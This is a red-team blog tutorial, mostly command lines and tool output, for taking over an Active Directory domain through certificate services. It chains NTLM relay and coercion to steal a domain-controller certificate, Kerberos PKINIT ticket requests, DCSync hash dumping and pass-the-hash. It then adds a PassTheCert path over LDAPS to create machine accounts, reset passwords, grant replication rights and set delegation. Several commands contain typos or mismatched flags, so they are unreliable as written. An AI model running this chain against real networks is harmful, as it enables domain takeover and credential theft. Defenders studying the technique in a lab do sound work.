首页 > 其他分享 >Redteam ADCS attack:PTC attack

Redteam ADCS attack:PTC attack

时间:2024-02-19 10:48:51浏览次数:29  
标签:Redteam -- py PTC lab attack computer NoPKI hack

This text introduce a new domain lateral movement technology--PTC(certificate transport attack).Introducing a new kind of DC certification utiliz thinking.

That is,if the domain controller does not  support PKINIT,the LDAP server uses the certificate for authentication after it obtians the certificate from the ADCS.PKINIT is a kerberos mechanism that allows X.509  certificates to be used as pre-authentication method.It can be used to request a TGT or even an NT hash of an account.

PTC Attack

By default,symmetric encryption(DES,RC4,AES123 KEY) is used in the pre-authentication phase.If the DC supports the PKINIT protocol,The asymmetric encryption(certificate) can be used pre-authentication.As a result,a new horizontal technology -Pass the Certificate,PTC)

As mentioned above,PTC attack occurs in the pre-authentication stage,where the attacker uses the certificate to initiate authentication to KDC and obtain the coresponding TGT.This type of attack is often used in conjunction with Shadow Credentials,ADCS attack and UnPAC-the-hash attacks.

Enviornment Instruction

DC 20.20.20.5
ADCS 20.20.20.6
domain machine 20.20.20.10
kali 20.20.20.100

Attack Flow

A common certificat delivery attack flow is as follows:

1.A domain account was obtained.

2.Find the ADCS network Registration service.

3.Apply for the certificate,steal it (ntlmrelay.py | printerbug.py)

4.Get the TGT of the target  --PKINITtools.

Use the ntlmrelay.py tool to obtain the certificate of the DC.

# listener
python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/certfnsh.asp --adcs --template DomainController

# Compulsory certification
python3 printerbug.py hack.lab/spiderman:[email protected] 20.20.20.100
[*] SMBD-Thread-8: Connection from 20.20.20.5 controlled, but there are no more targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 4
[*] Base64 certificate of user DC01$: 

Use the obtained certificate for pre-authentication and apply for TGT ticket.

#Use gettgtpkinit.py to apply for the TGT
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache

Post-penetration:Obtain DC account hash,perform DCSync attacks,etc.

#Using getnthash.py script to get DC machine account.
KRB5CCNAME=dc01.ccache python3 getnthash.py -key b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50 hack.lab/DC01$

#Using secretsdump.py export Hash
KRB5CCNAME=dc01.ccache python3 secretsdump.py -k hack.lab/DC01\[email protected] -no-pass -just-dc-user administrator

#Hash login
python3 wmiexec.py -hashes:42e2656ec24331269f82160ff5962387 hack.lab/[email protected] -dc-ip 20.20.20.5

 Alternative use of DC certificates

In some intra-domain environments,the domain controller do not support PKINIT protocol,that the certificate is not support for pre-authentication.In this case,how to use the DC certfication?

The following analyzes the actual situation and gives an alternative certfication using ideas.

Actual situation

In the fourth step of the above attack,when obtain the TGT of the target DC and applying for the TGT using domain control certificate,The following error will be displayed:"KDC has no support for PADATA type(pre-authentication data)"

python3 gettgtpkinit.py -cert-pfx dc01.pfx -dc-ip 20.20.20.5 -v hack.lab/DC01\$ dc01.ccache
2022-09-20 02:57:24,144 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2022-09-20 02:57:24,532 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
  File "/root/Desktop/域渗透工具/gettgtpkinit.py", line 349, in <module>
    main()
  File "/root/Desktop/域渗透工具/gettgtpkinit.py", line 345, in main
    amain(args)
  File "/root/Desktop/域渗透工具/gettgtpkinit.py", line 315, in amain
    res = sock.sendrecv(req)
  File "/usr/local/lib/python3.9/dist-packages/minikerberos/network/clientsocket.py", line 87, in sendrecv
    raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)" 

 This meas that the DC does not install or do not support PKINIT protocol.In this case,the obtained certificate cannot be used to obtain TGT or NT hash.

IN conclusion.If the LDAPS protocol is enabled on the target DC,the domain controller certificate can be used to authenticate the LDAP server.

PasstheCert

Apply for the certificate

At first We can use ntlmrelayx.py and PetitPotam.py apply for the certificate.

python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/sertfnsh.asp --adcs --template DomainController

python3 PetitPotem.py -u spider -p 123.com -d hack.lab 20.20.20.100 20.20.20.5

Copy the base64 encode text to test.txt  and store as pfx file

Save it as a pfx file with the content of test.txt as the base64 certificate in the figure above.

cat test.txt | base64 -d > NoPKI.pfx

PTC tools

TOOL ptc.exe and certificate NoPKI.pfx need to be upload to the domain machine 20.20.20.10

The following introduce the uses of different parameter,a complete usage process can be found in the RBCD attack.

ADD user || --add-computer

passthecert.exe --add-computer --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$ --computer-passwd 123.com

--add-computer Indicates the attack behavior of adding machine accounts
--server Specifies the target server (domain controller).
--cert-path Specifies the certificate path (absolute path can be used)
--computer-name Specifies the name of the created machine account
--computer-password Specifies the password

Modify passwd | --reset-password

Reset the password of the target account,need User-Force-Change-Password privilege(current user)

# reset the password
PassTheCert.exe --reset-password --target "CN=NoPKI,CN=Computers,DC=hack,DC=lab"
--new-password QWEasdzxc --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$ Success # 修改目标用户,但是当前用户对chaoren用户没有修改权限 PassTheCert.exe --reset-password --target "CN=chaoren,CN=Users,DC=hack,DC=lab"
--new-password QWEasdzxc --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$

--reset-password Resets the password
--target Specifies the object to be modified
--new-password Specifies the reset password

Elevate permission | --elevate

Elevates a user's permissions on a domain, granting DS-Replication-Get-Changes and DS-replication-get-changes-all permissions

PassTheCert.exe --elevate --sid S-1-5-21-3309395417-4108617856-2168433834-3607 
--server DC01.hack.lab --cert-path NoPKI.pfx --target "CN=DC01,OU=Domain Controllers,DC=hack,DC=lab"

--elevate execute the EP behavior of specific user.

--sid specific user that need to be EP.

RBCD attack | --rbcd

1.create machine user

PassTheCert.exe --add-computer --server DC01.hack.lab --cert-path NoPKI.pfx 
--computer-name NoPKI$ --computer-password 123.com

2.Modify  the RBCD property of target server

# Search sid of target machine - PowerView.ps1
Get-NetComputer NoPKI -Properties objectsid
# Modify property
PassTheCert.exe --rbcd --server DC01.hack.lab --cert-path NoPKI.pfx --target "CN=DC01,OU=Domain Controllers,DC=hack,DC=lab" --sid "S-1-5-21-3309395417-4108617856-2168433834-3603"

3.Post-peneration:apply for TGT and attack

python3 getST.py -spn cifs/DC01.hack.lab -impersonate administrator 
hack.lab/NoPKI$:123.com -dc-ip 20.20.20.5 KRB5CCNAME=administrator.ccache python3 wmiexec.py -k
hack.lab/[email protected] -no-pass -dc-ip 20.20.20.5

PassTheCert.py

A PTC attack tool implemented through python,which allows LDAP/S server to be authenticated with certfiicates to perform different attack actions.

PS:This tool requires the key and crt of the certificate.The base64 encrypted certificate obtained before needs to be processed by the certipy tool.

certipy-ad cert -pfx NoPKI.pfx -nokey -out NoPKI.crt
certipy-ad cert -pfx NoPKI.pfx -nocert -out NoPKI.key

The follows introduce different parameter,a complete usage process can be shown at RBCD attack.

ADD user | add_computer

python3 passthecert.py -action add_computer -crt NoPKI.crt -key NoPKI.key 
-domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$
-computer-pass 123.com

Delete user | del_computer

python3 passthecert.py -action del_computer -crt NoPKI.crt -key NoPKI.key 
-domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$

Modify password | modify_computer

python3 passthecert.py -action modify_computer -crt NoPKI.crt 
-key NoPKI.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$
-computer-pass qwerty

 *RBCD Attack | write_rbcd

1.Extract the secret key and message from certificate.

Using Certipy-ad tool

certipy-ad cert -pfx NoPKI.pfx -nokey -out NoPKI02.crt
certipy-ad cert -pfx NoPKI.pfx -nocert -out NoPKI02.key

2.Creating Machine account

python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com

3.Add RBCD property

python3 passthecert.py -action write_rbcd -key NoPKI02.key -crt NoPKI02.crt
-dc-ip 20.20.20.5 -domain hack.lab -delegate-from NoPKI02$
-delegate-to DC01$

4.Post-peneration : apply for TGT and attack

python3 getTGT -spn cifs/DC01.hack.lab -imperasion administrator 
hack.lab/NoPKI02\$:123.com -dc-ip 20.20.20.5

KRB5CCNAME=administrator.ccache python3 wmiexec.py -k hack.lab/[email protected] -no-pass -dc-ip 20.20.20.5

 

At last here locate the other attak methods.

https://www.cnblogs.com/bonelee/p/15916764.html

标签:Redteam,--,py,PTC,lab,attack,computer,NoPKI,hack
From: https://www.cnblogs.com/lisenMiller/p/18019474

相关文章

  • DVWA-Insecure CAPTCHA(不安全的验证码)
    InsecureCAPTCHA意思是不安全的验证码,指验证在验证过程中,存在逻辑漏洞,导致可以绕过验证。CAPTCHA全称为:CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApart(全自动区分计算机和人类的图灵测试)。DVWA-InsecureCAPTCHA级别:--low--medium......
  • Java21 + SpringBoot3集成easy-captcha实现验证码显示和登录校验
    目录前言相关技术简介easy-captcha实现步骤引入maven依赖定义实体类定义登录服务类定义登录控制器前端登录页面实现测试和验证总结附录使用Session缓存验证码前端登录页面实现代码前言近日心血来潮想做一个开源项目,目标是做一款可以适配多端、功能完备的模板工程,包含后台管理系......
  • PHP LFI/RFI Vulnerability attack bypassing remote URL inclusion restriction
    FileInclusionvulnerabilityInthePHPConfiguration,"allow_url_include" wrapperby-defaultsetto"Off"whichinstructPHPnototloadremoteHTTPorFTPurls.HencepreventRemoteFileInclusionattack.ButPHPdoesnotblockSMBURL......
  • 【代码复现(吐槽向)】Revisiting a Methodology for Efficient CNN Architectures in Pr
    【论文写不出来,痛苦中】这篇文章是我看到框架最简单,效果最好的对于公开数据集的攻击没有之一。代码:KULeuven-COSIC/TCHES20V3_CNN_SCA(github.com)吐槽:1坑:TF的版本问题,有了torch,谁用TF,但是偏偏GITHUB上所有的SCA的代码都是TF写的,还有丧心病狂TF1.x,版本安装几十年,不如选一个服......
  • Base64Captcha 登录验证码
    CaptchaGitHub地址:github.com/dchest/captcha简介:Captcha是一个功能强大的验证码生成库,支持生成图片和音频验证码。它能够生成数字、字母、数字字母组合等各种类型的验证码,并且使用简单方便。Gin-UtilsGitHub地址:github.com/gin-contrib/gin-utils简介:Gin-Utils是一个针......
  • django验证码插件 --- django-simple-captcha
    使用django-simple-captcha实现登录验证码: 第一步:安装pillow依赖pipinstallpillow  -ihttps://pypi.tuna.tsinghua.edu.cn/simple/ 第二步:安装django-simple-captchapipinstalldjango-simple-captcha -ihttps://pypi.tuna.tsinghua.edu.cn/simple/ 第三步:注......
  • SpringBoot项目之Kaptcha实现登录验证码
    一、pom.xml加载该依赖<dependency><groupId>com.github.axet</groupId><artifactId>kaptcha</artifactId><version>0.0.9</version></dependency>二、RestFul风格,在这里写一个调用验证码的接口:@GetMapping(value="/captcha.......
  • captcha模块——生成图片验证码
    安装captcha库pipinstallcaptcha 基本使用方法(生成图片验证码)importcaptchafromcaptcha.imageimportImageCaptcha#设置图片宽高image=ImageCaptcha(width=200,height=100)#验证码内容captcha_text='1234'#验证码写入图片captcha_image=image.g......
  • [安洵杯 2019]Attack
    [安洵杯2019]Attack打开压缩包得到一个流量包,搜索flag看到一个flag.txt文件放到kali里进行分离,得到一个有密码的压缩包,里面有flag.txt提示“这可是administrator的秘密,怎么能随便给人看呢?”到这一步后不知道怎么做了,找了下师傅们的WP才知道相关知识点和后续步骤在http协......
  • keycloak~Googl的reCAPTCHA验证
    reCAPTCHA是Google公司推出的一项验证服务,使用十分方便快捷,在国外许多网站上均有使用。它与许多其他的人机验证方式不同,它极少需要用户进行各种识图验证。它的使用方式如下如所示,只需勾选复选框即可通过人机验证。虽然简单但效果很好,因为Google会收集一些浏览器信息,网络信息,鼠......